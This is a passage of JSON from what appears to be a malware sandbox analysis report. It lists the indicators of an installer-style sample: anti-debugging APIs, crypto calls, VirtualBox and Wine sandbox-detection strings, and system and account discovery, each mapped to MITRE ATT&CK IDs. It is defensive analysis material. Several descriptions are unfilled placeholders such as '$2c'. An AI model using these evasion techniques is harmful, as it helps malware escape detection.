\"InstallSetup9.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Able to detect if debugger is present","description":"Observed API \"CheckRemoteDebuggerPresent\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1622","relevance":1,"id":"static-220","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".ndata\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows A\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00001156.00000000.81939.00490000.00000004.mdmp\n 00000000-00001156.00000001.82229.00490000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decode string content at runtime (.NET)","description":"Observed function \"FromBase64String\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00003572-00000C2C-323163306\")\n Found reference to API \"BCryptImportKeyPair\" (Indicator: \"BCryptImportKey\"; Source: \"00000000-00003572-00000C2C-323166684\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00003572-00000C2C-323166885\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows A\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00001156.00000000.81939.00490000.00000004.mdmp\n 00000000-00001156.00000001.82229.00490000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"description=\"Uses RsaCryptoServiceProvider +|\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00001156.00000000.81939.00490000.00000004.mdmp\n 00000000-00001156.00000001.82229.00490000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001156.00000000.81939.00490000.00000004.mdmp, 00000000-00001156.00000001.82229.00490000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002516.00000001.83576.001D0000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003572.00000000.82404.00610000.00000004.mdmp, 00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00004256.00000001.84604.00B30000.00000004.mdmp, 00000000-00004256.00000002.86530.00B30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00003572.00000001.84328.02710000.00000004.mdmp, 00000000-00003572.00000002.84706.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.97549","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"youtube.com\" (Indicator: \"youtube.com\"; Source: \"00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStringsW\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"SessionUserName\" (Source: \"00000000-00004256.00000000.82684.00825000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"[system process]vboxtray.exe\" (Indicator: \"vboxtray.exe\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"vboxservice.exe\" (Indicator: \"vboxservice.exe\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"vboxtray.exe\" (Indicator: \"vboxtray.exe\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"vgauthservice.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment","description":"$30","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-660","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment devices","description":"Found string \"\\\\.\\VBoxGuest\" (Indicator: \"\\vboxguest\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"\\\\.\\VBoxTrayIPC\" (Indicator: \"\\vboxtrayipc\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"\\\\.\\VBoxMiniRdrDN\" (Indicator: \"\\vboxminirdrdn\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"\\\\.\\pipe\\VBoxMiniRdDN\" (Indicator: \"\\pipe\\vboxminirddn\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"\\\\.\\pipe\\VBoxTrayIPC\" (Indicator: \"\\vboxtrayipc\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-667","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001156-00000C2C-285033507\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001156-00000C2C-285034217\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001156-00000C2C-288661771\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatusEx\" (Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"QueryServiceConfigW\" (Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found string \"QueryServiceStatusEx\" (Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003572-00000C2C-297165173\")\n Found reference to API \"GetAddrInfoExW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003572-00000C2C-300159555\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003572-00000C2C-300577684\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00001156)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001156)\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00001156)\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00001156)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001156)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001156)\n \"InstallSetup9.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003572)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"IsWow64Process\" with parameter \"1156\" - (UID: 00000000-00001156)\n \"InstallSetup9.exe\" called \"IsWow64Process\" with parameter \"3572\" - (UID: 00000000-00003572)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"IsWow64Process\" with parameter \"2516\" - (UID: 00000000-00002516)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"BroomSetup.exe\" called \"EnumWindows\" with parameter \"1244336\" - (UID: 00000000-00004256)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"Start\" - (UID: 00000000-00004256)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"1a044d04480420004f0066006600690063006500\" - (UID: 00000000-00004256)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"1a044d044804200032043e0441044104420430043d043e0432043b0435043d0438044f0420004f0066006600690063006500\" - (UID: 00000000-00004256)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"1b043e043a0430043b044c043d043e04350420004504400430043d0438043b04380449043504\" - (UID: 00000000-00004256)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"12044b04340435043b04380442044c042f001e043104400430044204380442044c04\" - (UID: 00000000-00004256)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001156)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$35","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"BroomSetup.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00004256)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$36","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"InstallSetup9.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003572)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002516)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002516)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00002516)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"LookupAccountSidA\" with param Name SYSTEM (UID: 00000000-00002516)\n \"BroomSetup.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004256)\n \"BroomSetup.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004256)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002180)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002180)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"$37","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: BroomSetup.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: InstallSetup9.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains a Wine emulator-related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":5,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"8536828,1296,3150,,IsWow64Process,kernel32.dll,\"252:14:21.385\",RX=0,PX=0\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002180.00000000.83897.00190000.00000004.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004256.00000000.82684.00822000.00000004.mdmp, 00000000-00004256.00000001.84604.00822000.00000004.mdmp, 00000000-00004256.00000002.86530.71331000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 